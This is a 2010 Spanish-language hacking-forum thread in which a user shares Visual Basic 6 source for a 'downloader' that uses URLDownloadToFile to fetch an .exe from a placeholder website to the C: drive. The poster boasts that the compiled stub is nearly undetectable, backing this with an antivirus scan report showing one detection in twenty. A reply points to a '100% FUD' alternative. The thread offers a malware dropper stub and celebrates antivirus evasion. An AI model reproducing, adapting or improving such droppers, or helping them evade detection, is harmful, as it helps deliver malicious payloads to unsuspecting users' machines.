Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Elemental Code en 17 Abril 2010, 00:16 am



Título: [Source] Downloader VB 6.0
Publicado por: Elemental Code en 17 Abril 2010, 00:16 am
Obviamente el codigo no es mio  :-X
Lei por muchos lados que esto ya era detectado por los antivirus.
pero yo hice un programa con este codigo y Casi indetectable.
Solamente lo detecta el Fprot6

Lo meten al form y agregan un boton "cmdDownload" para que baje o sino lo ponen como quiera

Código
  1. 'Funcion para bajar archivo
  2. Private Declare Function URLDownloadToFile Lib "urlmon" _
  3.    Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
  4.    ByVal szURL As String, ByVal szFileName As String, _
  5.    ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  6.  
  7. Private Sub cmdDownload_Click()
  8.    ' Bajar el Archivo
  9.    URLDownloadToFile 0, _
  10.        "www.tusitioweb.com/tuarchivo.exe", _
  11.        "C:\Tuarchivo.exe", 0, 0
  12. End Sub
  13.  

File Info

Report date: 2010-04-16 23:52:42 (GMT 1)
File name: Mini_Downloader.exe
File size: 16384 bytes
MD5 Hash: e6377d5a23422abc8984eda961e2c1c4
SHA1 Hash: 95fdd84d8dca03d65254b8268691af52efbe36b7
Detection rate: 1 on 20 (5%)
Status: INFECTED
Ver reporte completo (http://scanner.novirusthanks.org/analysis/e6377d5a23422abc8984eda961e2c1c4/TWluaV9Eb3dubG9hZGVyLmV4ZQ==/)

SOURCE:
Descargar Source (http://www.multiupload.com/K1MGL1MHHA)

PD: no he podido encontrar como adjuntar archivos al post



Título: Re: [Source] Downloader VB 6.0
Publicado por: BlackZeroX en 17 Abril 2010, 06:38 am
Código
  1. Private Declare Function URLDownloadToFile Lib "urlmon" _
  2.    Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
  3.    ByVal szURL As String, ByVal szFileName As String, _
  4.    ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  5.  

Es solo una API, ya estan las Web's llenas de esa API...!¡.

Mi aqui una Alternativa 100% FUD (Aquí (http://infrangelux.sytes.net/index.php?option=com_content&task=view&id=92&Itemid=87))

Dulces Infierno Lunar!¡.